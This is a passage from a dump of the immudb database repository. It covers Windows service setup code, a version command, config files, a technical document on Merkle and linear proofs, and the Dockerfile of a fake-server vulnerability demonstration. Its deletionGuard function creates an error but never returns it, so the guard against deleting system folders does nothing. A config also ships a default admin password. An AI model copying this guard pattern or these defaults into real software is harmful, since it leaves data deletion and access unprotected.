{\n\t\treturn err\n\t}\n\tif err = ss.InstallConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\treturn err\n}\n\nfunc (ss *sservice) UninstallSetup(serviceName string) (err error) {\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\t//  Program Files\\{ServiceName}\\{serviceName}.exe\n\tif err = ss.UninstallExecutables(serviceName); err != nil {\n\t\treturn err\n\t}\n\t// config, pid and log in ProgramData\\{ServiceName}\\config\n\tif err = ss.RemoveProgramFiles(serviceName); err != nil {\n\t\treturn err\n\t}\n\t// get immudb folder\n\tcepd := strings.Replace(ss.v.GetString(\"dir\"), \"data\", \"\", 1)\n\t// remove immudb folder folder only if it is empty\n\tif _, err := os.Stat(cepd); !os.IsNotExist(err) {\n\t\tf1, err := ss.os.Open(cepd)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer f1.Close()\n\t\t_, err = f1.Readdirnames(1)\n\t\tif err == io.EOF {\n\t\t\terr = ss.osRemove(cepd)\n\t\t}\n\t}\n\treturn err\n}\n\n// EraseData erase all data\nfunc (ss *sservice) EraseData(serviceName string) (err error) {\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\tvar path string\n\tpath = filepath.FromSlash(ss.v.GetString(\"dir\"))\n\tif err := ss.osRemoveAll(path); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// IsRunning check if status derives from a running process\nfunc (ss *sservice) IsRunning(status string) bool {\n\treturn status == \"Status: SERVICE_RUNNING\"\n}\n\n// GetDefaultConfigPath returns the default config path\nfunc (ss *sservice) GetDefaultConfigPath(serviceName string) (dataDir string, err error) {\n\tdataDir = filepath.FromSlash(ss.v.GetString(\"dir\"))\n\tvar pd string\n\tif pd, err = windows.KnownFolderPath(windows.FOLDERID_ProgramData, windows.KF_FLAG_DEFAULT); err != nil {\n\t\treturn \"\", err\n\t}\n\tdataDir = strings.Replace(dataDir, \"%programdata%\", pd, -1)\n\tconfigDir := strings.Replace(dataDir, \"data\", \"\", 1)\n\treturn filepath.Join(strings.Title(configDir), \"config\", serviceName+\".toml\"), err\n}\n\nfunc (ss *sservice) ReadConfig(serviceName string) (err error) {\n\tss.v.SetConfigType(\"toml\")\n\tvar pc string\n\n\tif pc, err = helper.ResolvePath(bytes.NewBuffer(ss.options.Config).String(), true); err != nil {\n\t\treturn err\n\t}\n\treturn ss.v.ReadConfig(strings.NewReader(pc))\n}\n\nfunc (ss *sservice) InstallConfig(serviceName string) (err error) {\n\tvar cp string\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\n\tif cp, err = ss.GetDefaultConfigPath(serviceName); err != nil {\n\t\treturn err\n\t}\n\tvar configDir = filepath.Dir(cp)\n\terr = ss.os.MkdirAll(configDir, os.ModePerm)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn ss.v.WriteConfigAs(cp)\n}\n\n//CopyExecInOsDefault copy the executable in default exec folder and returns the path\nfunc (ss *sservice) CopyExecInOsDefault(serviceName string) (path string, err error) {\n\tcurrentExec, err := os.Executable()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfrom, err := ss.os.Open(currentExec)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer from.Close()\n\n\tpath, _ = ss.GetDefaultExecPath(serviceName)\n\terr = ss.os.MkdirAll(filepath.Dir(path), os.ModePerm)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tto, err := ss.os.OpenFile(path, os.O_RDWR|os.O_CREATE, 0666)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer to.Close()\n\n\tif _, err = io.Copy(to, from); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn path, err\n}\n\n// RemoveProgramFiles remove only config folder\nfunc (ss *sservice) RemoveProgramFiles(serviceName string) (err error) {\n\tif err = ss.ReadConfig(serviceName); err != nil {\n\t\treturn err\n\t}\n\tconfigPath, err := ss.GetDefaultConfigPath(serviceName)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn ss.osRemoveAll(filepath.Dir(configPath))\n}\n\nfunc (ss sservice) UninstallExecutables(serviceName string) (err error) {\n\tvar ep string\n\tif ep, err = ss.GetDefaultExecPath(serviceName); err != nil {\n\t\treturn err\n\t}\n\treturn ss.osRemoveAll(filepath.Dir(ep))\n}\n\n// GetDefaultExecPath returns the default executable file  path\nfunc (ss sservice) GetDefaultExecPath(serviceName string) (ep string, err error) {\n\tif ep, err = ss.getCommonExecPath(); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn ss.os.Join(ep, strings.Title(serviceName), serviceName+\".exe\"), nil\n}\n\n// getCommonExecPath returns exec path for all services\nfunc (ss *sservice) getCommonExecPath() (string, error) {\n\tpf, err := windows.KnownFolderPath(windows.FOLDERID_ProgramFiles, windows.KF_FLAG_DEFAULT)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn pf, nil\n}\n\nvar whitelist = []string{\"%programdata%\\\\Immu\", \"%programfile%\\\\Immu\"}\n\nfunc (ss sservice) osRemove(folder string) error {\n\tif err := deletionGuard(folder); err != nil {\n\t\treturn err\n\t}\n\treturn ss.os.Remove(folder)\n}\n\nfunc (ss sservice) osRemoveAll(folder string) error {\n\tif err := deletionGuard(folder); err != nil {\n\t\treturn err\n\t}\n\treturn ss.os.RemoveAll(folder)\n}\n\nfunc deletionGuard(path string) (err error) {\n\tfound := false\n\tfor _, v := range whitelist {\n\t\tvar vr string\n\t\tif vr, err = helper.ResolvePath(v, false); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif strings.HasPrefix(path, vr) {\n\t\t\tfound = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !found {\n\t\terrors.New(\"os system file or folder protected item deletion not allowed. Check immu* service configuration\")\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/sservice/sservice_windows_test.go",
    "content": "//go:build windows\n// +build windows\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sservice\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\tdaem \"github.com/takama/daemon\"\n)\n\nfunc TestSserviceWin_NewDaemon(t *testing.T) {\n\tss := NewSService(&Option{})\n\td, err := ss.NewDaemon(\"test\", \"\", \"\")\n\tassert.NoError(t, err)\n\tdc, _ := daem.New(\"test\", \"\", \"\")\n\tassert.IsType(t, d, dc)\n}\n"
  },
  {
    "path": "cmd/version/cmd.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage version\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/spf13/cobra\"\n)\n\n// App application name\nvar App string\n\n// Version holds the version\nvar Version string\n\n// Commit the most recent commit from which this version has been built\nvar Commit string\n\n// BuiltBy built by email\nvar BuiltBy string\n\n// BuiltAt date and time of the build\nvar BuiltAt string\n\n// Static flags the binary as statically linked\nvar Static string\n\n// FIPSEnabled flags if the binary is running in FIPS mode\nvar FIPSEnabled string\n\n// VersionCmd returns a new version command\nfunc VersionCmd() *cobra.Command {\n\treturn &cobra.Command{\n\t\tUse:   \"version\",\n\t\tShort: fmt.Sprintf(\"Show the %s version\", App),\n\t\tRun: func(_ *cobra.Command, _ []string) {\n\t\t\tversionStr := VersionStr()\n\t\t\tif versionStr != \"\" {\n\t\t\t\tfmt.Println(versionStr)\n\t\t\t}\n\t\t},\n\t}\n}\n\n// VersionStr formats and returns the version string\nfunc VersionStr() string {\n\tif App == \"\" || Version == \"\" {\n\t\treturn \"no version info available\"\n\t}\n\tpieces := []string{\n\t\tfmt.Sprintf(\"%s %s\", App, Version),\n\t}\n\tconst strPattern = \"%-*s: %s\"\n\tconst longestLabelLength = 8\n\tif Commit != \"\" {\n\t\tpieces = append(\n\t\t\tpieces,\n\t\t\tfmt.Sprintf(strPattern, longestLabelLength, \"Commit\", Commit))\n\t}\n\tif BuiltBy != \"\" {\n\t\tpieces = append(\n\t\t\tpieces,\n\t\t\tfmt.Sprintf(strPattern, longestLabelLength, \"Built by\", BuiltBy))\n\t}\n\tif BuiltAt != \"\" {\n\t\ti, err := strconv.ParseInt(BuiltAt, 10, 64)\n\t\tif err == nil {\n\t\t\tbuiltAt := time.Unix(i, 0).Format(time.RFC1123)\n\t\t\tpieces = append(\n\t\t\t\tpieces,\n\t\t\t\tfmt.Sprintf(strPattern, longestLabelLength, \"Built at\", builtAt))\n\t\t}\n\t}\n\tif Static != \"\" {\n\t\tpieces = append(\n\t\t\tpieces,\n\t\t\tfmt.Sprintf(\"%-*s: %t\", longestLabelLength, \"Static\", StaticBuild()))\n\t}\n\tif FIPSEnabled != \"\" {\n\t\tpieces = append(\n\t\t\tpieces,\n\t\t\tfmt.Sprintf(\"%-*s: %t\", longestLabelLength, \"FIPS enabled\", FIPSBuild()))\n\t}\n\treturn fmt.Sprint(strings.Join(pieces, \"\\n\"))\n}\n\n// StaticBuild set the flag which marks the binary as statically linked\nfunc StaticBuild() bool {\n\treturn Static == \"static\"\n}\n\n// FIPSBuild set the flag which marks the binary as statically linked\nfunc FIPSBuild() bool {\n\treturn FIPSEnabled == \"true\"\n}\n"
  },
  {
    "path": "cmd/version/cmd_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage version\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/cmd/cmdtest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestVersion(t *testing.T) {\n\tcmd := VersionCmd()\n\n\t// no version info\n\tcollector := new(cmdtest.StdOutCollector)\n\trequire.NoError(t, collector.Start())\n\trequire.NoError(t, cmd.Execute())\n\tnoVersionOutput, err := collector.Stop()\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"no version info available\\n\", noVersionOutput)\n\n\t// full version info\n\tApp = \"Some App\"\n\tVersion = \"v1.0.0\"\n\tCommit = \"2F20B9ADF24C82A6AFEE0CEBF53B46A512FE9526\"\n\tBuiltBy = \"some.user@somedomain.com\"\n\tbuiltAt, _ := time.Parse(time.RFC3339, \"2020-07-13T23:28:09Z\")\n\tBuiltAt = fmt.Sprintf(\"%d\", builtAt.Unix())\n\tStatic = \"static\"\n\n\tbuiltAtUnix, _ := strconv.ParseInt(BuiltAt, 10, 64)\n\tbuiltAtStr := time.Unix(builtAtUnix, 0).Format(time.RFC1123)\n\texpectedVersionOutput := strings.Join(\n\t\t[]string{\n\t\t\t\"Some App v1.0.0\",\n\t\t\t\"Commit  : 2F20B9ADF24C82A6AFEE0CEBF53B46A512FE9526\",\n\t\t\t\"Built by: some.user@somedomain.com\",\n\t\t\t\"Built at: \" + builtAtStr,\n\t\t\t\"Static  : true\\n\",\n\t\t},\n\t\t\"\\n\")\n\trequire.NoError(t, collector.Start())\n\trequire.NoError(t, cmd.Execute())\n\tversionOutput, err := collector.Stop()\n\trequire.NoError(t, err)\n\trequire.Equal(t, expectedVersionOutput, versionOutput)\n}\n"
  },
  {
    "path": "codecov.yml",
    "content": "ignore:\n  - \"*windows.go\"\n  - \"*freebsd.go\"\n  - \"*windows.dist.go\"\n  - \"*freebsd.dist.go\"\n  - \"*windows*\"\n  - \"*freebsd*\"\n  - \"cmd/immuadmin/command/service/servicetest\"\n  - \"pkg/client/clienttest\"\n  - \"cmd/immuadmin/command/service/oss_unix.go\"\n  - \"cmd/immuclient/immuctest\"\n"
  },
  {
    "path": "configs/immuadmin.toml",
    "content": "immudb-address = \"127.0.0.1\"\nimmudb-port = 3322\ntokenfile = \"token_admin\"\nmtls = false\nservername = \"localhost\"\npkey = \"\"\ncertificate = \"\"\nclientcas = \"\"\n"
  },
  {
    "path": "configs/immuclient.toml",
    "content": "immudb-address = \"127.0.0.1\"\nimmudb-port = 3322\nauth = true\ntokenfile = \"token-0.7.0\"\nmtls = false\nservername = \"localhost\"\npkey = \"\"\ncertificate = \"\"\nclientcas = \"\"\naudit-signature = \"ignore\"\nserver-signing-pub-key = \"\" #used to verify signatures\n"
  },
  {
    "path": "configs/immudb.toml",
    "content": "dir = \"./data\"\nnetwork = \"tcp\"\naddress = \"0.0.0.0\"\nport = 3322\ndbname = \"immudb\"\npidfile = \"\"\nlogfile = \"\"\nmtls = false\ndetached = false\nauth = true\nno-histograms = false\nconsistency-check = true\npkey = \"\"\ncertificate = \"\"\nclientcas = \"\"\ndevmode = true\nadmin-password = \"immudb\" # this password is only used once to initialize immudb and can be ignored\nmaintenance = false\nsigningKey = \"\"\ntoken-expiry-time = 1440 # client authentication token expiration time. Minutes\npgsql-server = true # enable or disable pgsql server\npgsql-server-port = 5432\n"
  },
  {
    "path": "configs/immutest.toml",
    "content": "immudb-address = \"127.0.0.1\"\nimmudb-port = 3322\ntokenfile = \"token_admin\"\n"
  },
  {
    "path": "docs/security/PROOFS.md",
    "content": "# Technical description of immudb proofs\n\nThis document describes immudb data structures and algorithms for\nverification of data written to immudb.\n\n## Data structures used in immudb\n\n### Abbreviations\n\n- **Alh** - Accumulated Linear Hash\n- **Bl** - Binary Linking\n- **EH** - Entries Hash\n\n### Main Merkle Tree\n\nEach database has one main [Merkle Tree][mtree] where its inputs\nare built from transaction hashes (`Alh`). This tree is persisted in the\nstorage layer. It is also appendable - each new transaction adds one extra\nleaf node with transaction hash (`Alh`) and rebuilds the path to the root.\n\n### Internal Merkle Tree\n\nEach transaction contains its internal [Merkle Tree][mtree] built from Key-Value-Metadata\nentries that are part of that single transaction. The root hash of that Merkle Tree (`EH`)\nalong with transaction metadata and additional linear proof information is used to\nbuild the transaction hash that is then input for the main [Merkle Tree][mtree].\nThis tree is not stored on disk and is recalculated on-demand from data that is building\nup the transaction.\n\n[mtree]: https://en.wikipedia.org/wiki/Merkle_tree.\n\n### Linear proof\n\nThe additional linear proof for the transaction is a mechanism implemented in immudb\nthat is meant for handling peak transaction writes where the writes are much faster\nthan the main [Merkle Tree][mtree] recalculation. It also forms a linear chain\nfor all transactions since the beginning of the database.\n\n```mermaid\nflowchart LR\n    subgraph linear chain\n        subgraph TX0 [TX n-1]\n            TD0[TX data] --> Alh0[Alh]\n        end\n\n        Alh0  ==> Alh1\n        subgraph TX1 [TX n]\n            TD1[TX data] --> Alh1[Alh]\n        end\n\n        Alh1 ==> Alh2\n        subgraph TX2 [TX n+1]\n            TD2[TX data] --> Alh2[Alh]\n        end\n\n        Alh2 ==> Alh3\n        subgraph TX3 [TX n+2]\n            TD3[TX data] --> Alh3[Alh]\n        end\n    end\n```\n\nDue to the linear chain, the Hash for each transaction is called **Accumulated Linear Hash**.\n\nSubsequent `Alh` values from the transaction are inputs into the main Merkle Tree.\n\nIn a standard immudb installation, the length of the linear proof is limited to only 1 entry.\n\n## State value stored on clients\n\nIn order to request consistency proofs, the client keeps information about the database\nat a specific transaction. This information is the `Alh` value of the committed transaction.\n\nSince the `Alh` is built from a chain of subsequent `Alh` values from previous transactions,\nit is accumulating the whole history of the database.\n\nIn addition to the linear proof, each transaction also embeds the main Merkle\nTree hash (`BlRoot`) and its size (`BlTxID`) at the time when the transaction was committed.\n\nThe main Merkle Tree is then used to optimize generation of proofs.\nThe part of the proof that deals with the history of the database up to and including `BlTxID`\nis done using the Merkle Tree (logarithmic complexity), the rest is done using the remaining\npart of the linear proof that fills in the gap until the current transaction.\n\n```mermaid\nflowchart TB\n    subgraph linear chain\n        direction LR\n        Alh0 --> Alh1\n        Alh1 --> Alh2\n        Alh2 --> Alh3\n        Alh3 --> Alh4\n        Alh4 --> Alh5\n        Alh5 --> Alh6\n        Alh6 --> Alh7\n    end\n\n    subgraph Main Merkle Tree\n        Alh0 -.-> node1\n        Alh1 -.-> node1\n        Alh2 -.-> node2\n        Alh3 -.-> node2\n        Alh4 -.-> node3\n        node1 --> node4\n        node2 --> node4\n        node4 --> BlRoot\n        node3 --> BlRoot\n    end\n\n    BlRoot -.-> Alh7\n```\n\nIn the example above, the proof for inclusion of `Alh5`, `Alh6` or `Alh7`\ncan be conducted using only the linear proof only. For the inclusion of `Alh1`,\nfirst the inclusion in the merkle tree is performed - that is the proof of inclusion\nin the history up to the `BlTxID` transaction (equivalent of linear proof until\nthe `Alh4` node) followed by the linear proof until the `Alh7` node.\n\nThe length of the linear proof up to the point where the Merkle Tree can be used\nshould be kept at a sane level to avoid long linear proofs. Current version of immudb\ndoes not allow a linear proof length to be greater than 1 by ensuring the main\nMerkle Tree is updated as a part of the transaction commit phase.\n\n## Advancing state of proofs for a single transaction\n\nAt the first step, each Key-Value-Metadata entry within a single transaction is hashed.\nFrom the list of hashes, an internal Merkle tree is built. The root of this inner tree\nis called `EH`. `EH` itself is a cumulative hash for all entries being part of\na single transaction without any additional information such as transaction ID or timestamp.\nThat also means that there can be multiple transaction having the same `EH` value\nwithin a single immudb instance.\n\nAdditional `inner hash` is built by hashing the following fields of the transaction:\nTransaction Timestamp, Header Version, Transaction metadata, number of entries,\n`EH` and the main merkle tree state at the commit time: `BlTxID` and `BlRoot`.\nThis `inner hash` contains more information than a single `EH` value,\nhowever it is still possible (but with pretty small probability in a common setup)\nthat there will be two transactions sharing the same `inner hash`\nwithin the same immudb database.\n\nThe final hash built for a single transaction is `Alh`. That hash is built\nby hashing the following: Transaction ID, `Alh` of a previous transaction and the `inner hash`.\n\n```mermaid\nflowchart TB\n    subgraph TX [Transaction]\n        direction TB\n        subgraph TXM [TX merkle tree]\n            KVM[Key-Value-Metadata] -- EntrySpecDigest function --> ESD\n            ESD0[EntrySpec digest] --> EH\n            ESD[EntrySpec digest] -- Build TX merkle tree --> EH\n            ESD2[EntrySpec digest] --> EH\n            EH[EH]\n        end\n\n        TS[Timestamp] --> IH[Inner hash]\n        VER[Header Version] --> IH\n        MD[TX Metadata] --> IH\n        NE[Number of entries] --> IH\n        BlRoot --> IH\n        BlTxID --> IH\n        EH --> IH\n\n        PrevAlh --> Alh\n        TxID --> Alh\n        IH --> Alh\n    end\n```\n\nThe `Alh` hash is the input value (leaf) for the main Merkle Tree for a single database.\nWhenever a new transaction is committed, its `Alh` value is then added to the main Merkle Tree.\n\nSince the `Alh` of given transaction is built from hash of previous transaction, consecutive `Alh`\nhashes form a chain where given `Alh` is signing the whole immudb state up till given transaction.\nIn addition to that, the inner hash is also built from the current main merkle tree state\n(`BlTxID` - number of transactions already hashed in the main Merkle Tree, `BlRoot` - root hash\nof the main Merkle Tree at the `BlTxID` transaction). From the `Alh` then we can perform a linear\nproof until any point back in the history (which has linear complexity),\nbut once the `BlTxID` entry is reached, a more efficient proof can be generated using the main\nMerkle Tree (which has logarithmic complexity).\n\n## Verification of a single entry\n\nThe verification of a single entry is performed in two steps.\nDuring the first step, the verification is performed on the transaction level to ensure that\nthe entry is a part of the transaction. Once the transaction is verified, additional proof\nis conducted in the main merkle tree and linear proof level (thus its called Dual Proof)\nthat ensures that the transaction itself is valid.\n\n### TX internal Merkle Tree verification\n\n#### Step 1. Calculating entry digest\n\nFirst the digest of Key-Value-Metadata entry is calculated. The calculation method depends\non the transaction context (TX Header Version) - which was necessary change in order to handle\nentry metadata.\n\nNote: If the returned value is a reference, we perform the proof for the reference entry,\nnot the value itself.\n\n**Inputs:**\nKey,\nValue,\nMetadata,\nTx Header Version\n\n**Output:**\nKVM Digest\n\n**Failure when:**\nThe KVM has incorrect / insane values (e.g. metadata can not be interpreted correctly, key or value length is beyond limits)\n\n**Code references:**\n\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/store#EntrySpecDigest_v0>\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/store#EntrySpecDigest_v1>\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/store#EntrySpecDigestFor>\n\n#### Step 2. TX Inclusion proof\n\nThe Digest calculated in the previous step is then used to validate the inclusion proof\nwithin the TX Merkle Tree. This proof consist of hashes within the TX Merkle Tree needed\nto build the root hash of the tree (`EH`). The calculated `EH` value is then compared\nwith the value retrieved form the `DualProof` part given from the server.\n\n**Inputs:**\nKVM Digest,\nPosition within transaction (`proof.Leaf`),\nTransaction size (`proof.Width`),\nInclusion Proof (`proof.Terms`)\n\n**Output:**\nthe root of the Transaction Merkle Tree (`EH`)\n\n**Failure when:**\nThe inclusion proof is invalid (not enough terms, zero tree width, leaf number beyond limits),\n`EH` value does not match the `EH` value from `DualProof`\n\n**Code references:**\n\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/store#VerifyInclusion>\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/htree#VerifyInclusion>\n\n### DualProof - proof of inclusion of the transaction in database state\n\nThe dual proof serves two purposes - 1) it ensures that the validated Accumulative Linear Hash (`Alh`)\nis correct and is a part of the database state (inclusion proof in the main merkle tree\nalong with the linear proof) and 2) that the history of the database transactions is consistent\nwith some older state that the client has seen in previous operations (merkle consistency proof and linear proofs).\n\nTwo transactions - the previously stored one and the one at which the value was retrieved - are ordered.\nThe earlier one is the SourceTX, the latter one is the TargetTX. The dual proof is meant to ensure that\nSourceTx is consistent part of the history of TargetTX.\n\n**Code references:**\n\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/store#VerifyDualProof>\n\n#### Step 3. Validate Alh values for source and target transactions\n\nFor both the SourceTX and the TargetTX transactions, server sends transaction headers - those include\ninformation that can be used to calculate the `Alh` values.\n\nFor both states (sourceAlh and targetAlh) this step proves that all the information building up\ngiven transaction is correct. This is especially important in case of the link to `BlRoot` and\n`BlTxId` used in that transaction to make sure that the part of the proof done on that tree\nproperly links to the linear proof ending up with `Alh`.\n\n**Inputs:**\nSourceTxHeader,\nSourceAlh,\nTargetTxHeader,\nTargetAlh\n\n**Outputs:**\nnone\n\n**Failure when:**\nCalculated `SourceAlh` and `TargetAlh` do not match expected values.\n\n#### Step 4. Verify consistency of the SourceTXAlh in target Merkle Tree\n\nIf the SourceTx can be checked within the target Merkle Tree\n(so that the target merkle tree was built up until at least the SourceTx transaction),\nthe SourceAlh is directly checked if it is a part of the Target Merkle tree.\n\nIf the SourceTx was not yet included in the target Merkle Tree,\nthe SourceAlh is validated against the linear proof from the TargetTx in steps that follow.\n\n**Inputs:**\nSourceTxID,\nSourceAlh,\ndualproof.InclusionProof,\nTargetTxBlTxID,\nTargetTxBlRoot\n\n**Outputs:**\nnone\n\n**Failure when:**\nCan not prove inclusion of SourceAlh in the Target Merkle Tree\n\n**Code references:**\n\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/ahtree#VerifyInclusion>\n\n#### Step 5. Verify consistency between main merkle trees at SourceTX and TargetTX\n\nSince TargetTX is after the SourceTX, this means that the main Merkle tree observed\nin the TargetTX will be at least that one in the SourceTX. It can only contain new entries appended.\nThat property is validated with the consistency check.\n\n**Inputs:**\nSourceTxBlTxID,\nSourceTxBlRoot,\nTargetTxBlTxID,\nTargetTxBlRoot,\ndualproof.ConsistencyProof\n\n**Outputs:**\nnone\n\n**Failure when:**\nCan not prove consistency of source Merkle Tree and target Merkle Tree\n\n**Code references:**\n\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/ahtree#VerifyConsistency>\n\n#### Step 6. Verify consistency of the last element of the target Merkle Tree\n\nThe `BlTxAlh` value is the `Alh` value of the transaction indexed at the `BlTxID` transaction.\nThis value must be the last leaf of that Merkle Tree. It is important to check this property\nsince we must be sure that there's continuity between the Merkle tree and the linear proof.\nTo do this, an inclusion proof is calculated for the last element of the merkle tree.\n\n**Inputs:**\nTargetTxBlTxID,\nTargetTxBlTxAlh,\nTargetTxBlRoot,\ndualproof.LastInclusionProof\n\n**Outputs:**\nnone\n\n**Failure when:**\nThe last element of the Target Merkle Tree can not be proven\n\n**Code references:**\n\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/ahtree#VerifyLastInclusion>\n\n#### Step 7. Verify linear proof for the TargetAlh\n\nIf already included in the Target Merkle Tree, the `SourceAlh` is proven to be included\nin the target Merkle Tree in step 4. In that case, it is necessary to check the linear proof that\nextends beyond the target Merkle Tree. This linear proof starts at target `BlTxID` and ends at `TargetTxID`.\n\n```mermaid\nflowchart LR\n    subgraph SourceTx included in Target Merkle Tree\n        subgraph MT1 [Merkle Tree]\n            direction TB\n            Root1[Root]\n            Root1 -.-> Alh1[Alh]\n            Root1 ==> Alh2[SourceAlh]\n            Root1 -.-> Alh3[Alh]\n            Root1 -.-> Alh4[Alh]\n            Root1 ==> Alh5[TargetBlAlh]\n        end\n\n        subgraph LP1 [Linear Proof]\n            direction LR\n            Alh5 ==> Alh6[Alh] ==> Alh7[Alh] ==> Alh8[TargetAlh]\n        end\n    end\n```\n\nIf the `SourceAlh` was not yet included in the Target Merkle Tree, the proof is done entirely\non the linear part - starting from the `SourceAlh` reaching the `TargetAlh`.\n\n```mermaid\nflowchart LR\n    subgraph SourceTx included in Target Merkle Tree\n        subgraph MT1 [Merkle Tree]\n            direction TB\n            Root1[Root]\n            Root1 -.-> Alh1[Alh]\n            Root1 -.-> Alh2[Alh]\n            Root1 -.-> Alh3[Alh]\n            Root1 -.-> Alh4[Alh]\n            Root1 -.-> Alh5[TargetBlAlh]\n        end\n\n        subgraph LP1 [Linear Proof]\n            direction LR\n            Alh5 -.-> Alh6[SourceAlh] ==> Alh7[Alh] ==> Alh8[TargetAlh]\n        end\n    end\n```\n\n**Failure when:**\nThe linear proof part to get to the `TargetAlh` can not be proven.\n\n**Code references:**\n\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/store#VerifyLinearProof>\n\n#### Step 8. Verify inclusion of the consumed part of the linear proof\n\nThe consistency between two historical states must be proven both as a consistency\nbetween Merkle Trees of those states but also as a consistency between linear parts\nand Merkle Trees.\n\nThe Merkle Tree of the target transaction, when larger than the Merkle Tree of the source\ntransaction will contain entries that were previously part of the linear part in the source\ntransaction.\n\nFor that reason, it is necessary to ensure that all elements on this consumed linear part\nare correctly added into the target Merkle Tree.\n\nThe proof consists of a series of inclusion proofs for elements in the consumed part of the\nlinear part, along with a linear proof for calculating those elements.\n\nThe range of elements to check is different depending on whether the `SourceTxID` is consumed\nby the target Merkle Tree. If it is part of that target Merkle Tree, then the consumed part\nis the whole linear chain in the old state (starting with `BlTxID` of the old state and ending\nat the `SourceTxID`). If the `SourceTxID` is not yet a part of the target Merkle Tree then the\nlinear part to be checked is the one that spans between source `BlTxID` and target `BlTxID`.\n\nIt is important to note that the last element of the consumed linear proof part\nis already validated through either inclusion of `SourceTxID` in target Merkle Tree (step 4)\nor by the inclusion of last element of target Merkle Tree (step 6).\n\n**Inputs:**\nSourceTxID,\nSourceTxBlTxID,\nSourceAlh,\nTargetTxBlRoot,\nTargetTxBlTxID,\nTargetTxBlAlh,\ndualproof.LinearAdvanceProof\n\n**Outputs:**\nnone\n\n**Failure when:**\nCan not prove inclusion of consumed linear proof in the target Merkle Tree.\n\n**Code references:**\n\n- <https://pkg.go.dev/github.com/codenotary/immudb/embedded/store#VerifyLinearAdvanceProof>\n\n#### Step 9. Verify signature of the TargetTX\n\nOnce all the proofs are performed, the client validates the signature of the new state.\nThe signature os made over the following data sets serialized into a single byte array:\n\n- database name length (32-bit BigEndian-encoded length of utf-8 encoded db name in bytes)\n- database name (utf-encoded database without aty trailing zeros)\n- transaction id (64-bit unsigned BigEndian-encoded integer)\n- transaction alh (32-bytes)\n\nThis step is optional and only done if the client was set up with the corresponding server signing public key.\n\n**Inputs:**\ndbName,\nTargetTxID,\nTargetTxAlh,\nSignature\n\n**Outpus:**\nnone\n\n**Failure when:**\nThe signature of the new state is invalid\n\n**Code references:**\n\n- <https://pkg.go.dev/github.com/codenotary/immudb/pkg/api/schema#ImmutableState.CheckSignature>\n\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/Dockerfile",
    "content": "FROM golang:1.19\nCOPY server /server\nWORKDIR /server\nRUN go build -o fake-immudb .\nENTRYPOINT [\"/server/fake-immudb\"]\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/README.md",
